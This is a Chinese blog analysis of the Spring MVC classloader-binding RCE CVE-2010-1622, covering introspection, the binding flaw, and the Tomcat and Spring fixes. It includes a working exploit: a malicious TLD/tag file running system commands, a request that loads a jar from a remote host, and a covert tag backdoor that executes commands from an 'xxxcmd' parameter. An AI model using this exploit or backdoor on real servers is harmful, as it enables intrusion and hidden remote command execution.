CVE-2010-1622-SpringMVC框架任意代码执行漏洞

最近新出了一个0day,原理和利用方式和CVE-2010-1622比较像,所以先学习一下CVE-2010-1622
没有进行漏洞复现,截图取自其他blog

1. 介绍

CVE-2010-1622因为Spring框架中使用了不安全的表单绑定对象功能。这个机制允许攻击者修改加载对象的类加载器的属性,可能导致拒绝服务和任意命令执行漏洞。拒绝服务属于这个漏洞的其他玩法,本文只介绍RCE

Versions Affected:
Spring 3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)

Earlier versions may also be affected

Tomcat 6.0.28版本及以前

2. 利用限制

利用条件

3. 漏洞原理

利用了springmvc的参数自动绑定,配合数组变量覆盖,造成了class.classLoader.URLs[]可以被控制,之后发生了RCE

4. 前置知识

Java Beans API

JavaBean是一种特殊的类,主要用于传递数据信息,这种类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。JavaBean详情
内省(Introspector) 是Java 语言对 JavaBean 类属性、事件的一种缺省处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
如我们现在声明一个JavaBean—Test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.alter.bean;

public class test {
private String id;
private String name;

public String getPass() {
return null;
}

public String getId() {
return id;
}

public void setId(String id) {
this.id = id;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

在类Test中有私有属性id,我们可以通过getter/setter方法来访问/设置这个属性。在Java JDK中提供了一套 API 用来访问某个属性的 getter/setter 方法,这就是内省。

JDK内省类库:

PropertyDescriptor类:

PropertyDescriptor类表示JavaBean类通过存储器导出一个属性。主要方法:

  1. getPropertyType(),获得属性的Class对象;
  2. getReadMethod(),获得用于读取属性值的方法;getWriteMethod(),获得用于写入属性值的方法;
  3. hashCode(),获取对象的哈希值;
  4. setReadMethod(Method readMethod),设置用于读取属性值的方法;
  5. setWriteMethod(Method writeMethod),设置用于写入属性值的方法。

Introspector类:

  1. getBeanInfo 是类方法,可以拿到一个 JavaBean 的所有信息
  2. getPropertyDescriptors(),获得属性的描述,可以采用遍历BeanInfo的方法,来查找、设置类的属性。

通过这两个类的比较可以看出,都是需要获得PropertyDescriptor,只是方式不一样:前者通过创建对象直接获得,后者需要遍历,所以使用PropertyDescriptor类更加方便。

因为内省操作非常麻烦,所以Apache开发了一套简单、易用的API来操作Bean的属性——BeanUtils工具包(这里只是简单介绍,后文不涉及)。

  1. 获得属性的值,例如,BeanUtils.getProperty(userInfo,"userName"),返回字符串
  2. 设置属性的值,例如,BeanUtils.setProperty(userInfo,"age",8),参数是字符串或基本类型自动包装。设置属性的值是字符串,获得的值也是字符串,不是基本类型。

BeanUtils的特点:

  1. 对基本数据类型的属性的操作:在web开发、使用中,录入和显示时,值会被转换成字符串,但底层运算用的是基本类型,这些类型转到动作由BeanUtils自动完成。
  2. 对引用数据类型的属性的操作:首先在类中必须有对象,不能是null,例如,private Date birthday=new Date();。操作的是对象的属性而不是整个对象,例如,BeanUtils.setProperty(userInfo,"birthday.time",111111); 

  

Introspector类提供了两种方法来获取类的bean信息

1
2
BeanInfo getBeanInfo(Class beanClass)
BeanInfo getBeanInfo(Class beanClass, Class stopClass)

这里就出现了一个使用时可能出现问题的地方,当没有使用stopClass,这样会使得访问该类的同时访问到Object.class。因为在java中所有的对象都会默认继承Object基础类
而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.alter.bean;

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class Main {
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(test.class);
// BeanInfo info = Introspector.getBeanInfo(Class.class);
// BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);
PropertyDescriptor[] properties =
info.getPropertyDescriptors();
for (PropertyDescriptor pd : properties) {
System.out.println("Property: " + pd.getName());
}
}
}

Introspector1

其中后三个属性是我们预期的(虽然没有pass属性,但是有getter方法,所以内省机制就会认为存在一个属性),而class则是对应于Object.class
如果我们接着调用

1
Introspector.getBeanInfo(Class.class);

Introspector2

可以看到关键的classLoader出现了

SpringMVC如何实现数据绑定

SpringMVC中当传入一个http请求时会进入DispatcherServletdoDispatch,然后前端控制器请求HandlerMapping查找Handler,接着HandlerAdapter请求适配器去执行Handler,然后返回ModelAndViewViewResolver再去解析并返回View,前端解析器去最后渲染视图。

20220406102448

在这个过程中我们这里主要关注再适配器中invokeHandler调用到的参数解析所进行的数据绑定(在调用controller中的方法传入参数前进行的操作)。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。

20170119132139329

过程如上,BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性。

变量覆盖问题

BeanWrapperImpl的作用:
我们都知道,Spring里面有一个很重要的概念就是容器,容器里面存放的是用户或者系统本身创建的bean对象。Spring通过容器创建和管理这些bean对象,并把他们注入到需要使用这些对象的方法或者类中。
springorg.springframework.beans.BeanWrapperImpl这个类发挥了很大的作用,它直接或间接实现了两个接口,BeanWrapperPropertyAccessor。第一个接口定义了持有bean的方法,第二个接口定义了获取和修改bean的属性的方法。所以BeanWrapperImpl的功能就是具体实现了创建,持有以及修改bean的方法。
其中我们先重点提一下BeanWrapperImpl中的setPropertyValue方法。通过多种不同参数的setPropertyValue的方法,可以将简单类型的参数值或者复杂类型的参数值,比如array,list,map等,注入到指定bean的相关属性中。

我们来看一下demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class User {
private String name;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}

public class UserInfo {
private String id ;
private String number;
private User user=new User();
private String names[] = new String[]{"1"};

public String getId() {
return id;
}

public String getNumber() {
return number;
}

public void setId(String id) {
this.id = id;
}

public User getUser() {
return user;
}

public String[] getNames() {
return names;
}
}

新建两个类UserUserInfo,其中UsernameUserInfoidgetset方法,而UserInfo中的usernumbernames[]数组只有get方法。

1
2
/*发送请求*/
http://localhost:8088/test?id=1&name=test&class.classLoader=org.apache.catalina.loader.StandardClassLoader&class=java.lang.String&number=123&user.name=ruilin&names[0]=33333

结果中,idnumbername如预期接收正常,因为没有set方法,classclassLoader同样没有set方法,所以失败。
接下来的names反而发现赋值成功了,这就比较有意思了,因为names这里我们没有设置set方法它却成功赋值。
看看怎么回事。
上面我们分析流程提到了BeanWrapperImplsetPropertyValue方法是用来绑定赋值的。
1
跟进getPropertyValue方法
2
发现是从CachedIntrospectionResults获取PropertyDescriptor。我们来看下CachedIntrospectionResults如何来的。
3
看到了熟悉的Introspector.getBeanInfo。这也就是我们上面讲过的内省,因此可以理解它为什么它能去获取到没有set的属性。
接着看赋值操作
4
看代码可以知道当判断为Array时会直接调用Array.set,由此绕过了set方法,直接调用底层赋值。后面同样List,Map类型的字段也有类似的处理,也就是说这三种类型是不需要set方法的。对于一般的值,直接调用java反射中的writeMethod方法给予赋值。

5. 漏洞复现

从之前测试的图我们可以看到程序运行环境的classLoader。随着web容器的不同,大家对这个东西的实现方式不一样。在tomcat上,也就是spring mvc拿到tomcat上运行时,它会变成:

1
org.apache.catalina.loader.WebappClassLoader

可以从tomcatapi文档中,查到这个类的一些字段:http://tomcat.apache.org/tomcat-6.0-doc/api/org/apache/catalina/loader/WebappClassLoader.html
image-20220406191455595

我们可以看到WebappClassLoader类,继承URLClassLoader类,URLClassLoader的一个方法叫做getURLs,返回一个数组。而由上面的分析可知:只要一个getter返回的是一个数组,就会绕过安全限制。所以接下来我们就尝试用这个URLs[]来搞事情。

getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

1
jar:http://vps/test.jar!/

这个URL,会下载到服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。

tld 和 tag 文件

tld文件

tld是标签库描述文件,用于存放标签名字和类的映射用的
标签库:它把类标签和后面的Java类映射起来,它减少了页面的代码,使页面更加的清晰,其实标签最后还是被解释成后台的java代码。
原理是,在用户在jsp页面中使用标签时,系统首先会先到xml文件中的 <taglib>标签中的<taglib-uri><taglib-location>这两对标签找到相对应的扩展名为tld文件,然后在 tld文件中的映射再找到相对应的taglib类。
创建的每个标签都必须在tld文件中声明,如果要在jsp页面用jsp的标签,必先先实现定义标签的类,然后在标签库描述文件(TLD)中将写好的类映射成jsp标签,然后在jsp页面中使用定义好的标签,然后就可以实现动态的jsp信息。

tag文件

Web应用中许多JSP页面都有相同的信息,如都需要相同的导航栏和尾页等。如果能把相同的信息都形成一种特殊的文件,而且各个JSP页面都可以使用这种特殊的文件,那么就能实现代码的复用,维护性就比较好了
实现代码复用还有另外两种方式,include指令和include动作,那就来说说他们的不足吧,首先不论是include指令还是include动作处理的都是单一的JSP文件,用户可以通过输入地址栏的方式来访问响应的JSP文件,这时候用户访问的JSP文件可能只是一个导航栏,这不是设计者希望看到的.include指令的耦合性太大,include动作虽然耦合性较小但是能放在Web服务目录的任意子目录中,不仅显的杂乱无章,还不利于管理和维护.

使用tag文件就能很好的解决这一缺点,tag文件不仅能实现动态加载实现代码复用,还不能让用户直接访问,tag文件放在指定的目录下,维护起来会比较方便(很多时候会让tag文件去处理数据,而JSP页面只是去显示数据,实现数据显示和数据处理分离,这样就比较便于维护了)

我们看怎么去用这两文件去RCE
上面提到Spring会通过 TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数,并用来解析TLD文件在解析TLD的时候,是允许直接使用jsp语法的,通过漏洞我们可以对classLoaderURLs[] 进行赋值操作,然后Spring会通过平台解析,从URLs[]中提取它所需要的TLD文件,并在执行jsp时运行这个TLD所包含的内容。
有了这个思路,利用方法就是构造一个带有恶意TLD文件的jar,通过HTTPjar的地址告诉URLs[],然后坐等执行。

环境:tomcat-6.0.26 spring-webmvc-3.0.0.RELEASE
创建一个工程,META-INF中放入spring-form.tld和tags/InputTag.tag,打成jar包

5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//spring-form.tld
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
version="2.0">

<description>Spring Framework JSP Form Tag Library</description>
<tlib-version>3.0</tlib-version>
<short-name>form</short-name>
<uri>http://www.springframework.org/tags/form</uri>
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
<tag-file>
<name>form</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>
</taglib>


//InputTag.tag
<%@ tag dynamic-attributes="dynattrs" %>
<%
java.lang.Runtime.getRuntime().exec("open /Applications/Calculator.app");
%>

编译出的jar包放到web上提供下载
SpringMVC中编写一个jsp

1
2
3
4
5
//hello.jsp
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

controller如下:

1
2
3
4
5
6
@RequestMapping(value = "/hello")
public String hello(Model model,User user) {
model.addAttribute("user",user);
model.addAttribute("name", user.getName());
return "hello";
}

部署项目后打开链接http://localhost:8088/hello?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/test.jar!/

漏洞发布者写的POC原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。
很显然,漏洞发布者提供的EXP是不符合期望的,一旦用了之后,被攻击的网站立刻显示异常,傻子都知道出了问题了。

应该符合“想让它执行,就执行,不想让执行,就显示正常“。
下载spring-form.tld,给其中的input tag改名,name改为xxx

1
2
<tag>
<name>xxxname</name>

随便什么名字都可以。新加入一个tag,叫做input

1
2
3
4
<tag-file>
<name>input</name>
<path>/WEB-INF/tags/InputTag.tag</path>
</tag-file>

InputTag.tag的内容(关键代码):

1
2
3
4
5
...
if (request.getParameter("xxxcmd")!=null)
exec(request.getParameter("xxxcmd"));
...
<form:xxxname path="${dynattrs.path}"></form:xxxname>

精华就在这里,替换了原来的input tag,并且还拥有input tag的功能。页面显示的还是原来的input,不影响原本的业务逻辑,页面看不出什么来。
只有在攻击者提交xxxcmd时,会执行系统命令,其实这也不够和谐,最和谐的,是搞个webshell出来。

6. 漏洞流程

首先setPropertyValue将对应参数填入URLs[],也就是将值赋给了classloader(数据绑定)
接着在渲染jsp页面时,Spring会通过Jasper中的TldLocationsCache类(jsp平台对jsp解析时用到的类)从WebappClassLoader里面读取url参数(用来解析TLD文件,在解析TLD的时候,是允许直接使用jsp语法的)在init时通过scanJars方法依次读取并加载。
6
这里主要是在ViewRwsolver视图解析渲染流程中,其他细节我们不用关注,在完成模版解析后,我们可以看下生成的文件,发现除了_jsp.clss还有我们从jar中下载的恶意代码InputTag_tag.class已经被编译到本地。
7

首先来看hello_jsp.java,因为实际上jsp就是一个servlet,所以最后生成是一个java文件。
其中static块里面可以看到引入的外部jar包,然后代码中对应<spring:form><spring:input>标签的是_jspx_meth_form_005fform_005f0_jspx_meth_form_005finput_005f0两个方法。
new了一个InputTag_tag类并执行doTag()方法,对应我们之前的InputTag.tag,看它生产的java文件中doTag()方法
8

发现是这里最后执行了之前tag中写的代码导致RCE
简单总结下主要流程:
exp->参数自动绑定->数组覆盖classLoader.URLs[0]->WebappClassLoader.getURLs()->TldLocationsCache.scanJars()->模板解析->_jspx_th_form_005finput_005f0.doTag()->shellcode

学习其他博客的部分分析:
Spring通过调用总入口DispatcherServlet.javadoDispath方法来路由处理本次的http请求。通过源码,我们可以看到doDispatch的两个参数分别为HttpServletRequest request, HttpServletResponse response,也就是当前请求的requestresponse对象。这是由tomcat容器传递给spring的。
我们先来总体预览一下doDispatch对于本次http请求的执行过程。其实主要就是有3步。
a) 通过传入的Rquest,获取响应处理的controller
b) 传入get参数,执行controller的方法
c) 获取controller中相关方法的返回值,渲染模版对象,返回response

Spring为了达到很好的扩展性,自定义了一种类型,handlerhandler可以是任意框架的执行类,对于spring就是controller,对于stucts就是action.

1
2
3
4
5
/*DispatcherServlet.java#doDispatch*/
processedRequest = checkMultipart(request);
//检查是不是上传类型等
mappedHandler = getHandler(processedRequest, false);
//通过传入的request从容器中找到相应的handler

下面就是具体对获取的handle对象进行处理了。框架在处理http请求的时候不是使用的handle类,而肯定是使用的handler中的某个方法。对于各种不同handle中的方法,Spring都是通过HandlerAdapterhandle方法,进行统一调用,然后返回我们熟悉的springModelAndView对象。

1
2
3
ModelAndView mv = null;
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());

ModelAndView对象返回之后,再调用:

1
render(mv, processedRequest, response);

从而真正将模版渲染。这行代码也就是我们触发shellcode的地方。
进入ha.handle,经过一系列checkandparper之后,返回的是invokeHandlerMethod(request, response, handler);这个方法的返回值。
进一步跟进代码,最终发现,执行任务的是ServletHandlerMethodResolver对象,它首先调用handle中的方法,返回一个我们不知道是什么的Object值,然后调用getModelAndView获取ModelAndView。代码如下:

1
2
Object  result = methodInvoker.invokeHandlerMethod(handlerMethod, handler, webRequest, implicitModel);
ModelAndView mav = methodInvoker.getModelAndView(handlerMethod, handler.getClass(), result, implicitModel, webRequest);

进入invokeHandlerMethod

1
2
Object[] args = resolveHandlerArguments(handlerMethodToInvoke, handler, webRequest, implicitModel);
return doInvokeMethod(handlerMethodToInvoke, handler, args);

其中,resolvEHandlerArguments是解析出controller方法的参数的,解析完参数之后进一步就是调用解析结果开始执行具体方法,也就是doInvokeMethod

所以Object result代表的就是:Execute方法执行后的返回值 “success”!
这只是spring执行controller中的方法的过程。
详细分析

7. 利用条件

  1. spring mvc远程代码执行必须使用了spring标签库才可以,否则不能最终加载tld文件。
  2. 需要该应用使用了对象绑定表单功能,其次由代码可知
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    //TldLocationsCache.class
    private void init() throws JasperException {
    if(!this.initialized) {
    try {
    this.processWebDotXml();
    this.scanJars();
    this.processTldsInFileSystem("/WEB-INF/");
    this.initialized = true;
    } catch (Exception var2) {
    throw new JasperException(Localizer.getMessage("jsp.error.internal.tldinit", var2.getMessage()));
    }
    }
    }
    需要是该应用启动后第一次的jsp页面请求即第一次渲染进行TldLocationsCache.init才可以,否则无法将修改的URLs内容装载,也就无法加载我们恶意的tld
  3. spring mvc 拒绝服务漏洞只是一个随机出现的福利,因为服务器上的应用程序不一定class加载顺序倒置就会出问题。
  4. 原公布者的POC不建议,用了之后服务器只能等待重启了(因为poc会干扰原页面的执行)
  5. 由于exp都是替换了input tag,所以必须当前页面中存在input tag,才能触发,当然一个正常的web应用中必然有这样的页面。
  6. 只有在TldLocationsCache类,对页面的tld标签库处理时,才会用到getURLs方法,从这一堆URL中获取tld文件。
    它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过jar:http://xxx/xxx.jar!/去获取。
    这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
    Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。

8. 修复

Tomcat
虽然是spring的漏洞,但tomcat也做了修复

Return copies of the URL array rather than the original. This facilitated CVE-2010-1622 although the root cause was in the Spring Framework. Returning a copy in this case seems like a good idea.
tomcat6.0.28版本后把getURLs方法返回的值return repositoryURLs;改成了return repositoryURLs.clone();,使的我们获得的拷贝版本无法修改classloader中的URLs[]

Spring
spring则是在CachedIntrospectionResults中获取beanInfo后对其进行了判断,将classloader添加进了黑名单。

9

Refer

http://rui0.cn/archives/1158
https://www.inbreak.net/archives/377
https://www.iteye.com/topic/1123382
https://blog.csdn.net/dingodingy/article/details/84705444
https://www.cxyck.com/article/1214.html